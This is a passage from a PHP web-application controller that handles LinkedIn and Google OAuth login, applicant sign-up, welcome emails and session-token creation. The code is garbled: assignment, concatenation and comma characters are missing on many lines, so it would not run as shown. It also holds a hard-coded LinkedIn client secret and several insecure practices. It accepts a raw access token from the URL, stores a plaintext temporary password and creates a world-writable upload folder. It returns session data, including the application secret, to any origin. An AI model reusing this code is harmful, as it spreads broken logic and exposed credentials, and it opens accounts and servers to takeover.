  6608.         $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/central_config.json');
  6609. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  6610.         $google_client->setRedirectUri($url);
  6611.         $google_client->setAccessType('offline');        // offline access
  6612.         $google_client->setIncludeGrantedScopes(true);   // incremental auth
  6613.         $google_client->addScope('email');
  6614.         $google_client->addScope('profile');
  6615.         $google_client->addScope('openid');
  6616. //    $google_client->setRedirectUri('http://localhost/applicant_login');
  6617.         //linked in 1st
  6618.         if (isset($_GET["code"]) && isset($_GET["state"])) {
  6619.             $curl curl_init();
  6620.             curl_setopt_array($curl, array(
  6621.                 CURLOPT_RETURNTRANSFER => true,   // return web page
  6622.                 CURLOPT_HEADER => false,  // don't return headers
  6623.                 CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  6624.                 CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  6625.                 CURLOPT_ENCODING => "",     // handle compressed
  6626.                 CURLOPT_USERAGENT => "test"// name of client
  6627.                 CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  6628.                 CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  6629.                 CURLOPT_TIMEOUT => 120,    // time-out on response
  6630.                 CURLOPT_URL => 'https://www.linkedin.com/oauth/v2/accessToken',
  6631.                 CURLOPT_USERAGENT => 'InnoPM',
  6632.                 CURLOPT_POSTFIELDS => urldecode("grant_type=authorization_code&code=" $_GET["code"] . "&redirect_uri=$url&client_id=86wi39zpo46wsl&client_secret=X59ktZnreWPomqIe"),
  6633.                 CURLOPT_POST => 1,
  6634.                 CURLOPT_HTTPHEADER => array(
  6635.                     'Content-Type: application/x-www-form-urlencoded'
  6636.                 )
  6637.             ));
  6638.             $content curl_exec($curl);
  6639.             $contentArray = [];
  6640.             curl_close($curl);
  6641.             $token false;
  6642. //      return new JsonResponse(array(
  6643. //          'content'=>$content,
  6644. //          'contentArray'=>json_decode($content,true),
  6645. //
  6646. //      ));
  6647.             if ($content) {
  6648.                 $contentArray json_decode($contenttrue);
  6649.                 $token $contentArray['access_token'];
  6650.             }
  6651.             if ($token) {
  6652.                 $applicantInfo = [];
  6653.                 $curl curl_init();
  6654.                 curl_setopt_array($curl, array(
  6655.                     CURLOPT_RETURNTRANSFER => true,   // return web page
  6656.                     CURLOPT_HEADER => false,  // don't return headers
  6657.                     CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  6658.                     CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  6659.                     CURLOPT_ENCODING => "",     // handle compressed
  6660.                     CURLOPT_USERAGENT => "test"// name of client
  6661.                     CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  6662.                     CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  6663.                     CURLOPT_TIMEOUT => 120,    // time-out on response
  6664.                     CURLOPT_URL => 'https://api.linkedin.com/v2/me?projection=(id,localizedFirstName,localizedLastName,firstName,lastName,profilePicture(displayImage~:playableStreams))',
  6665.                     CURLOPT_USERAGENT => 'InnoPM',
  6666.                     CURLOPT_HTTPGET => 1,
  6667.                     CURLOPT_HTTPHEADER => array(
  6668.                         'Authorization: Bearer ' $token,
  6669.                         'Header-Key-2: Header-Value-2'
  6670.                     )
  6671.                 ));
  6672.                 $userGeneralcontent curl_exec($curl);
  6673.                 curl_close($curl);
  6674.                 if ($userGeneralcontent) {
  6675.                     $userGeneralcontent json_decode($userGeneralcontenttrue);
  6676.                 }
  6677.                 $curl curl_init();
  6678.                 curl_setopt_array($curl, array(
  6679.                     CURLOPT_RETURNTRANSFER => true,   // return web page
  6680.                     CURLOPT_HEADER => false,  // don't return headers
  6681.                     CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  6682.                     CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  6683.                     CURLOPT_ENCODING => "",     // handle compressed
  6684.                     CURLOPT_USERAGENT => "test"// name of client
  6685.                     CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  6686.                     CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  6687.                     CURLOPT_TIMEOUT => 120,    // time-out on response
  6688.                     CURLOPT_URL => 'https://api.linkedin.com/v2/emailAddress?q=members&projection=(elements*(handle~))',
  6689. //            CURLOPT_URL => 'https://api.linkedin.com/v2/emailAddress',
  6690.                     CURLOPT_USERAGENT => 'InnoPM',
  6691.                     CURLOPT_HTTPGET => 1,
  6692.                     CURLOPT_HTTPHEADER => array(
  6693.                         'Authorization: Bearer ' $token,
  6694.                         'Header-Key-2: Header-Value-2'
  6695.                     )
  6696.                 ));
  6697.                 $userEmailcontent curl_exec($curl);
  6698.                 curl_close($curl);
  6699.                 $token false;
  6700.                 if ($userEmailcontent) {
  6701.                     $userEmailcontent json_decode($userEmailcontenttrue);
  6702.                 }
  6703. //        $oAuthEmail = $applicantInfo['email'];
  6704. //        return new JsonResponse(array(
  6705. //          'userEmailcontent'=>$userEmailcontent,
  6706. //          'userGeneralcontent'=>$userGeneralcontent,
  6707. //        ));
  6708. //        return new response($userGeneralcontent);
  6709.                 $oAuthData = [
  6710.                     'email' => $userEmailcontent['elements'][0]['handle~']['emailAddress'],
  6711.                     'uniqueId' => $userGeneralcontent['id'],
  6712.                     'image' => $userGeneralcontent['profilePicture']['displayImage~']['elements'][0]['identifiers'][0]['identifier'],
  6713.                     'emailVerified' => $userEmailcontent['elements'][0]['handle~']['emailAddress'],
  6714.                     'name' => $userGeneralcontent['localizedFirstName'] . ' ' $userGeneralcontent['localizedLastName'],
  6715.                     'firstName' => $userGeneralcontent['localizedFirstName'],
  6716.                     'lastName' => $userGeneralcontent['localizedLastName'],
  6717.                     'type' => 1,
  6718.                     'token' => $token,
  6719.                 ];
  6720.             }
  6721.         } else if (isset($_GET["code"])) {
  6722.             $token $google_client->fetchAccessTokenWithAuthCode($_GET["code"]);
  6723.             if (!isset($token['error'])) {
  6724.                 $google_client->setAccessToken($token['access_token']);
  6725.                 $google_service = new Google_Service_Oauth2($google_client);
  6726.                 $applicantInfo $google_service->userinfo->get();
  6727.                 $oAuthEmail $applicantInfo['email'];
  6728.                 $oAuthData = [
  6729.                     'email' => $applicantInfo['email'],
  6730.                     'uniqueId' => $applicantInfo['id'],
  6731.                     'image' => $applicantInfo['picture'],
  6732.                     'emailVerified' => $applicantInfo['verifiedEmail'],
  6733.                     'name' => $applicantInfo['givenName'] . ' ' $applicantInfo['familyName'],
  6734.                     'firstName' => $applicantInfo['givenName'],
  6735.                     'lastName' => $applicantInfo['familyName'],
  6736.                     'type' => $token['token_type'],
  6737.                     'token' => $token['access_token'],
  6738.                 ];
  6739.             }
  6740.         } else if (isset($_GET["access_token"])) {
  6741.             $token $_GET["access_token"];
  6742.             $tokenType $_GET["token_type"];
  6743.             if (!isset($token['error'])) {
  6744.                 $google_client->setAccessToken($token);
  6745.                 $google_service = new Google_Service_Oauth2($google_client);
  6746.                 $applicantInfo $google_service->userinfo->get();
  6747.                 $oAuthEmail $applicantInfo['email'];
  6748.                 $oAuthData = [
  6749.                     'email' => $applicantInfo['email'],
  6750.                     'uniqueId' => $applicantInfo['id'],
  6751.                     'image' => $applicantInfo['picture'],
  6752.                     'emailVerified' => $applicantInfo['verifiedEmail'],
  6753.                     'name' => $applicantInfo['givenName'] . ' ' $applicantInfo['familyName'],
  6754.                     'firstName' => $applicantInfo['givenName'],
  6755.                     'lastName' => $applicantInfo['familyName'],
  6756.                     'type' => $tokenType,
  6757.                     'token' => $token,
  6758.                 ];
  6759.             }
  6760.         }
  6761.         if ($oAuthData['email'] != '' || $oAuthData['uniqueId'] != '') {
  6762.             // Multi-email aware, injection-safe (2026-07-04 fix): match the OAuth email against ANY
  6763.             // tagged email (comma list, email OR oAuthEmail). Replaces exact single-value findOneBy
  6764.             // + a hand-rolled comma-LIKE that interpolated the email into SQL and false-matched.
  6765.             $isApplicantExist = \ApplicationBundle\Helper\ApplicantEmailResolver::findOneByAnyEmail($em$oAuthData['email']);
  6766.             if (!$isApplicantExist && $oAuthData['uniqueId'] != '') {
  6767.                 $isApplicantExist $applicantRepo->findOneBy([
  6768.                     'oAuthUniqueId' => $oAuthData['uniqueId']
  6769.                 ]);
  6770.             }
  6771.             if ($isApplicantExist) {
  6772.                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  6773.                 } else
  6774.                     return $this->redirectToRoute("core_login", [
  6775.                         'id' => $isApplicantExist->getApplicantId(),
  6776.                         'oAuthData' => $oAuthData,
  6777.                         'encData' => $encData,
  6778.                         'locale' => $request->request->get('locale''en'),
  6779.                         'remoteVerify' => $request->request->get('remoteVerify'0),
  6780.                         'firebaseToken' => $request->request->get('firebaseToken'''),
  6781.                     ]);
  6782.             } else {
  6783.                 $fname $oAuthData['firstName'];
  6784.                 $lname $oAuthData['lastName'];
  6785.                 $img $oAuthData['image'];
  6786.                 $email $oAuthData['email'];
  6787.                 $oAuthEmail $oAuthData['email'];
  6788.                 $userName explode('@'$email)[0];
  6789.                 //now check if same username exists
  6790.                 $username_already_exist 1;
  6791.                 $initial_user_name $userName;
  6792.                 $timeoutSafeCount 10;//only 10 timeout for safety if this fails just add the unix timestamp to make it unique
  6793.                 while ($username_already_exist == && $timeoutSafeCount 0) {
  6794.                     $isUsernameExist $applicantRepo->findOneBy([
  6795.                         'username' => $userName
  6796.                     ]);
  6797.                     if ($isUsernameExist) {
  6798.                         $username_already_exist 1;
  6799.                         $userName $initial_user_name '' rand(3009987);
  6800.                     } else {
  6801.                         $username_already_exist 0;
  6802.                     }
  6803.                     $timeoutSafeCount--;
  6804.                 }
  6805.                 if ($timeoutSafeCount == && $username_already_exist == 1) {
  6806.                     $currentUnixTimeStamp '';
  6807.                     $currentUnixTime = new \DateTime();
  6808.                     $currentUnixTimeStamp $currentUnixTime->format('U');
  6809.                     $userName $userName '' $currentUnixTimeStamp;
  6810.                 }
  6811.                 $characters '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
  6812.                 $charactersLength strlen($characters);
  6813.                 $length 8;
  6814.                 $password 0;
  6815.                 for ($i 0$i $length$i++) {
  6816.                     $password .= $characters[rand(0$charactersLength 1)];
  6817.                 }
  6818.                 $newApplicant = new EntityApplicantDetails();
  6819.                 $newApplicant->setActualRegistrationAt(new \DateTime());
  6820.                 $newApplicant->setEmail($email);
  6821.                 $newApplicant->setUserName($userName);
  6822.                 $newApplicant->setFirstname($fname);
  6823.                 $newApplicant->setLastname($lname);
  6824.                 $newApplicant->setOAuthEmail($oAuthEmail);
  6825.                 $newApplicant->setIsEmailVerified(isset($oAuthData['emailVerified']) ? ($oAuthData['emailVerified'] != '' 0) : 0);
  6826.                 $newApplicant->setOauthUniqueId($oAuthData['uniqueId']);
  6827.                 $newApplicant->setAccountStatus(1);
  6828.                 $salt uniqid(mt_rand());
  6829.                 $encodedPassword $this->container->get('app.legacy_password_service')->hashWithSalt($password$salt);
  6830.                 $newApplicant->setPassword($encodedPassword);
  6831.                 $newApplicant->setSalt($salt);
  6832.                 $newApplicant->setTempPassword($password);;
  6833. //                $newApplicant->setPassword($password);
  6834.                 $marker $userName '-' time();
  6835. //                $extension_here=$uploadedFile->guessExtension();
  6836. //                $fileName = md5(uniqid()) . '.' . $uploadedFile->guessExtension();
  6837. //                $path = $fileName;
  6838.                 $upl_dir $this->container->getParameter('kernel.root_dir') . '/../web/uploads/applicants';
  6839.                 if (!file_exists($upl_dir)) {
  6840.                     mkdir($upl_dir0777true);
  6841.                 }
  6842.                 $ch curl_init($img);
  6843.                 $fp fopen($upl_dir '/' $marker '.jiff''wb');
  6844.                 curl_setopt($chCURLOPT_FILE$fp);
  6845.                 curl_setopt($chCURLOPT_HEADER0);
  6846.                 curl_exec($ch);
  6847.                 curl_close($ch);
  6848.                 fclose($fp);
  6849.                 $newApplicant->setImage('/uploads/applicants/' $marker '.jiff');
  6850. //                $newApplicant->setImage($img);
  6851.                 $newApplicant->setIsConsultant(0);
  6852.                 $newApplicant->setIsTemporaryEntry(0);
  6853.                 $newApplicant->setApplyForConsultant(0);
  6854.                 $em->persist($newApplicant);
  6855.                 $em->flush();
  6856.                 // GR2 (GROWTH) â€” fresh registration: stamp the viral-touch conversion if this
  6857.                 // browser landed via a GR1 backlink. Fully guarded inside; never affects signup.
  6858.                 \ApplicationBundle\Modules\LeadGen\Service\ViralAttributionService::stampConversion($em$request$newApplicant->getId());
  6859.                 $isApplicantExist $newApplicant;
  6860.                 if (GeneralConstant::EMAIL_ENABLED == 1) {
  6861.                     if ($systemType == '_BUDDYBEE_') {
  6862.                         $bodyHtml '';
  6863.                         $bodyTemplate '@Application/email/templates/buddybeeRegistrationComplete.html.twig';
  6864.                         $bodyData = array(
  6865.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  6866.                             'email' => $userName,
  6867.                             'password' => $newApplicant->getPassword(),
  6868.                         );
  6869.                         $attachments = [];
  6870.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  6871. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  6872.                         $new_mail $this->get('mail_module');
  6873.                         $new_mail->sendMyMail(array(
  6874.                             'senderHash' => '_CUSTOM_',
  6875.                             //                        'senderHash'=>'_CUSTOM_',
  6876.                             'forwardToMailAddress' => $forwardToMailAddress,
  6877.                             'subject' => 'Welcome to BuddyBee ',
  6878. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  6879.                             'attachments' => $attachments,
  6880.                             'toAddress' => $forwardToMailAddress,
  6881.                             'fromAddress' => 'registration@buddybee.eu',
  6882.                             'userName' => 'registration@buddybee.eu',
  6883.                             'password' => ApplicationBundleHelperMailerConfig::registrationPassword(),
  6884.                             'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  6885.                             'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  6886.                             'encryptionMethod' => 'ssl',
  6887. //                            'emailBody' => $bodyHtml,
  6888.                             'mailTemplate' => $bodyTemplate,
  6889.                             'templateData' => $bodyData,
  6890. //                        'embedCompanyImage' => 1,
  6891. //                        'companyId' => $companyId,
  6892. //                        'companyImagePath' => $company_data->getImage()
  6893.                         ));
  6894.                     } else {
  6895.                         $bodyHtml '';
  6896.                         $bodyTemplate '@Application/email/user/applicant_login.html.twig';
  6897.                         $bodyData = array(
  6898.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  6899.                             'email' => 'APP-' $userName,
  6900.                             'password' => $newApplicant->getPassword(),
  6901.                         );
  6902.                         $attachments = [];
  6903.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  6904. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  6905.                         $new_mail $this->get('mail_module');
  6906.                         $new_mail->sendMyMail(array(
  6907.                             'senderHash' => '_CUSTOM_',
  6908.                             //                        'senderHash'=>'_CUSTOM_',
  6909.                             'forwardToMailAddress' => $forwardToMailAddress,
  6910.                             'subject' => 'Applicant Registration on Honeybee',
  6911. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  6912.                             'attachments' => $attachments,
  6913.                             'toAddress' => $forwardToMailAddress,
  6914.                             'fromAddress' => 'accounts@ourhoneybee.eu',
  6915.                             'userName' => 'accounts@ourhoneybee.eu',
  6916.                             'password' => \ApplicationBundle\Helper\MailerConfig::buddybeePassword(),
  6917.                             'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  6918.                             'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  6919.                             'encryptionMethod' => 'ssl',
  6920. //                            'emailBody' => $bodyHtml,
  6921.                             'mailTemplate' => $bodyTemplate,
  6922.                             'templateData' => $bodyData,
  6923. //                        'embedCompanyImage' => 1,
  6924. //                        'companyId' => $companyId,
  6925. //                        'companyImagePath' => $company_data->getImage()
  6926.                         ));
  6927.                     }
  6928.                 }
  6929.                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  6930.                 } else {
  6931.                     return $this->redirectToRoute("core_login", [
  6932.                         'id' => $newApplicant->getApplicantId(),
  6933.                         'oAuthData' => $oAuthData,
  6934.                         'encData' => $encData,
  6935.                         'remoteVerify' => $request->request->get('remoteVerify'0),
  6936.                         'locale' => $request->request->get('locale''en'),
  6937.                         'firebaseToken' => $request->request->get('firebaseToken'''),
  6938.                     ]);
  6939.                 }
  6940.             }
  6941.         }
  6942.         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  6943.             if ($isApplicantExist) {
  6944.                 $user $isApplicantExist;
  6945.                 $userType UserConstants::USER_TYPE_APPLICANT;
  6946.                 $userTypesByAppIds json_decode($user->getUserTypesByAppIds(), true);
  6947.                 $globalId $user->getApplicantId();
  6948.                 $gocList $em
  6949.                     ->getRepository("CompanyGroupBundle\\Entity\\CompanyGroup")
  6950.                     ->findBy(
  6951.                         array(//                        'active' => 1
  6952.                         )
  6953.                     );
  6954.                 $gocDataList = [];
  6955.                 $gocDataListForLoginWeb = [];
  6956.                 $gocDataListByAppId = [];
  6957.                 foreach ($gocList as $entry) {
  6958.                     $d = array(
  6959.                         'name' => $entry->getName(),
  6960.                         'image' => $entry->getImage(),
  6961.                         'id' => $entry->getId(),
  6962.                         'appId' => $entry->getAppId(),
  6963.                         'skipInWebFlag' => $entry->getSkipInWebFlag(),
  6964.                         'skipInAppFlag' => $entry->getSkipInAppFlag(),
  6965.                         'dbName' => $entry->getDbName(),
  6966.                         'dbUser' => $entry->getDbUser(),
  6967.                         'dbPass' => $entry->getDbPass(),
  6968.                         'dbHost' => $entry->getDbHost(),
  6969.                         'companyGroupServerAddress' => $entry->getCompanyGroupServerAddress(),
  6970.                         'companyGroupServerId' => $entry->getCompanyGroupServerId(),
  6971.                         'companyGroupServerPort' => $entry->getCompanyGroupServerPort(),
  6972.                         'companyRemaining' => $entry->getCompanyRemaining(),
  6973.                         'companyAllowed' => $entry->getCompanyAllowed(),
  6974.                     );
  6975.                     $gocDataList[$entry->getId()] = $d;
  6976.                     if (in_array($entry->getSkipInWebFlag(), [0null]))
  6977.                         $gocDataListForLoginWeb[$entry->getId()] = $d;
  6978.                     $gocDataListByAppId[$entry->getAppId()] = $d;
  6979.                 }
  6980.                 if ($userTypesByAppIds == null$userTypesByAppIds = [];
  6981.                 if ($userType == UserConstants::USER_TYPE_APPLICANT) {
  6982.                     $session->set(UserConstants::USER_ID$user->getApplicantId());
  6983.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  6984.                     $session->set(UserConstants::IS_CONSULTANT$user->getIsConsultant() == 0);
  6985.                     $session->set('BUDDYBEE_BALANCE'$user->getAccountBalance());
  6986.                     $session->set('BUDDYBEE_COIN_BALANCE'$user->getSessionCountBalance());
  6987.                     $session->set(UserConstants::IS_BUDDYBEE_RETAILER$user->getIsRetailer() == 0);
  6988.                     $session->set(UserConstants::BUDDYBEE_RETAILER_LEVEL$user->getRetailerLevel() == 0);
  6989.                     $session->set(UserConstants::BUDDYBEE_ADMIN_LEVEL$user->getIsAdmin() == : ($user->getIsModerator() == 0));
  6990.                     $session->set(UserConstants::IS_BUDDYBEE_MODERATOR$user->getIsModerator() == 0);
  6991.                     $session->set(UserConstants::IS_BUDDYBEE_ADMIN$user->getIsAdmin() == 0);
  6992.                     // $session->set(UserConstants::SUPPLIER_ID, $user->getSupplierId());
  6993.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_APPLICANT);
  6994.                     $session->set(UserConstants::USER_EMAIL$user->getOauthEmail());
  6995.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  6996.                     $session->set(UserConstants::USER_NAME$user->getFirstName() . ' ' $user->getLastName());
  6997.                     $session->set(UserConstants::USER_DEFAULT_ROUTE'');
  6998.                     $session->set(UserConstants::USER_COMPANY_ID1);
  6999.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode([]));
  7000.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode([]));
  7001.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode([]));
  7002.                     $session->set('userCompanyDarkVibrantList'json_encode([]));
  7003.                     $session->set('userCompanyVibrantList'json_encode([]));
  7004.                     $session->set('userCompanyLightVibrantList'json_encode([]));
  7005.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode([]));
  7006.                     $session->set(UserConstants::USER_APP_ID0);
  7007.                     $session->set(UserConstants::USER_POSITION_LIST'[]');
  7008.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG0);
  7009.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  7010.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  7011.                     $session->set(UserConstants::USER_GOC_ID0);
  7012.                     $session->set(UserConstants::USER_DB_NAME'');
  7013.                     $session->set(UserConstants::USER_DB_USER'');
  7014.                     $session->set(UserConstants::USER_DB_PASS'');
  7015.                     $session->set(UserConstants::USER_DB_HOST'');
  7016.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE'');
  7017.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  7018.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  7019.                     $session->set('oAuthToken'$request->request->get('oAuthToken'''));
  7020.                     $session->set('locale'$request->request->get('locale'''));
  7021.                     $session->set('firebaseToken'$request->request->get('firebaseToken'''));
  7022.                     $route_list_array = [];
  7023.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  7024.                     $loginID 0;
  7025.                     $loginID MiscActions::addEntityUserLoginLog(
  7026.                         $em,
  7027.                         $session->get(UserConstants::USER_ID),
  7028.                         $session->get(UserConstants::USER_ID),
  7029.                         1,
  7030.                         $request->server->get("REMOTE_ADDR"),
  7031.                         0,
  7032.                         $request->request->get('deviceId'''),
  7033.                         $request->request->get('oAuthToken'''),
  7034.                         $request->request->get('oAuthType'''),
  7035.                         $request->request->get('locale'''),
  7036.                         $request->request->get('firebaseToken''')
  7037.                     );
  7038.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  7039.                     $session_data = array(
  7040.                         UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  7041.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  7042.                         UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  7043.                         'oAuthToken' => $session->get('oAuthToken'),
  7044.                         'locale' => $session->get('locale'),
  7045.                         'firebaseToken' => $session->get('firebaseToken'),
  7046.                         'token' => $session->get('token'),
  7047.                         'firstLogin' => 0,
  7048.                         'BUDDYBEE_BALANCE' => $session->get('BUDDYBEE_BALANCE'),
  7049.                         'BUDDYBEE_COIN_BALANCE' => $session->get('BUDDYBEE_COIN_BALANCE'),
  7050.                         UserConstants::IS_BUDDYBEE_RETAILER => $session->get(UserConstants::IS_BUDDYBEE_RETAILER),
  7051.                         UserConstants::BUDDYBEE_RETAILER_LEVEL => $session->get(UserConstants::BUDDYBEE_RETAILER_LEVEL),
  7052.                         UserConstants::BUDDYBEE_ADMIN_LEVEL => $session->get(UserConstants::BUDDYBEE_ADMIN_LEVEL),
  7053.                         UserConstants::IS_BUDDYBEE_MODERATOR => $session->get(UserConstants::IS_BUDDYBEE_MODERATOR),
  7054.                         UserConstants::IS_BUDDYBEE_ADMIN => $session->get(UserConstants::IS_BUDDYBEE_ADMIN),
  7055.                         UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  7056.                         UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  7057.                         UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  7058.                         UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  7059.                         'oAuthImage' => $session->get('oAuthImage'),
  7060.                         UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  7061.                         UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  7062.                         UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  7063.                         UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  7064.                         UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  7065.                         UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  7066.                         UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  7067.                         UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  7068.                         UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT),
  7069.                         UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  7070.                         UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  7071.                         'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  7072.                         'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  7073.                         'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  7074.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  7075.                         UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  7076.                         UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME),
  7077.                         UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER),
  7078.                         UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST),
  7079.                         UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS),
  7080.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
  7081.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  7082.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  7083.                         //new
  7084.                         'appIdList' => $session->get('appIdList'),
  7085.                         'branchIdList' => $session->get('branchIdList'null),
  7086.                         'branchId' => $session->get('branchId'null),
  7087.                         'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  7088.                         'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  7089.                         'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  7090.                     );
  7091.                     $accessList = [];
  7092. //                        System::log_it($this->container->getParameter('kernel.root_dir'),json_encode($gocDataListByAppId),'data_list_by_app_id');
  7093.                     foreach ($userTypesByAppIds as $thisUserAppId => $thisUserUserTypes) {
  7094.                         foreach ($thisUserUserTypes as $thisUserUserType) {
  7095.                             if (isset($gocDataListByAppId[$thisUserAppId])) {
  7096.                                 $userTypeName = isset(UserConstants::$userTypeName[$thisUserUserType]) ? UserConstants::$userTypeName[$thisUserUserType] : 'Unknown';
  7097.                                 $d = array(
  7098.                                     'userType' => $thisUserUserType,
  7099. //                                        'userTypeName' => UserConstants::$userTypeName[$thisUserUserType],
  7100.                                     'userTypeName' => $userTypeName,
  7101.                                     'globalId' => $globalId,
  7102.                                     'serverId' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerId'],
  7103.                                     'serverUrl' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerAddress'],
  7104.                                     'serverPort' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerPort'],
  7105.                                     'systemType' => '_ERP_',
  7106.                                     'companyId' => 1,
  7107.                                     'appId' => $thisUserAppId,
  7108.                                     'companyLogoUrl' => $gocDataListByAppId[$thisUserAppId]['image'],
  7109.                                     'companyName' => $gocDataListByAppId[$thisUserAppId]['name'],
  7110.                                     'authenticationStr' => $this->get('url_encryptor')->encrypt(json_encode(
  7111.                                             array(
  7112.                                                 'globalId' => $globalId,
  7113.                                                 'appId' => $thisUserAppId,
  7114.                                                 'authenticate' => 1,
  7115.                                                 'userType' => $thisUserUserType,
  7116.                                                 'userTypeName' => $userTypeName
  7117.                                             )
  7118.                                         )
  7119.                                     ),
  7120.                                     'userCompanyList' => [
  7121.                                     ]
  7122.                                 );
  7123.                                 $accessList[] = $d;
  7124.                             }
  7125.                         }
  7126.                     }
  7127.                     $accessList $this->appendCentralCustomerAccessList($accessList, (int)$globalId);
  7128.                     $session_data['userAccessList'] = $accessList;
  7129.                     $session->set('userAccessList'json_encode($accessList));
  7130.                     $session_data $this->filterClientSessionData($session_data);
  7131.                     $tokenData MiscActions::CreateTokenFromSessionData($em$session_data);
  7132.                     $session_data $tokenData['sessionData'];
  7133.                     $token $tokenData['token'];
  7134.                     $session->set('token'$token);
  7135.                     if ($request->request->get('remoteVerify'0) == || $request->query->get('remoteVerify'0) == 1) {
  7136.                         $session->set('remoteVerified'1);
  7137.                         $response = new JsonResponse(array(
  7138.                             'token' => $token,
  7139.                             'uid' => $session->get(UserConstants::USER_ID),
  7140.                             'session' => $session,
  7141.                             'success' => true,
  7142.                             'session_data' => $session_data,
  7143.                         ));
  7144.                         $response->headers->set('Access-Control-Allow-Origin''*');
  7145.                         return $response;
  7146.                     }
  7147.                     if ($request->request->has('referer_path')) {
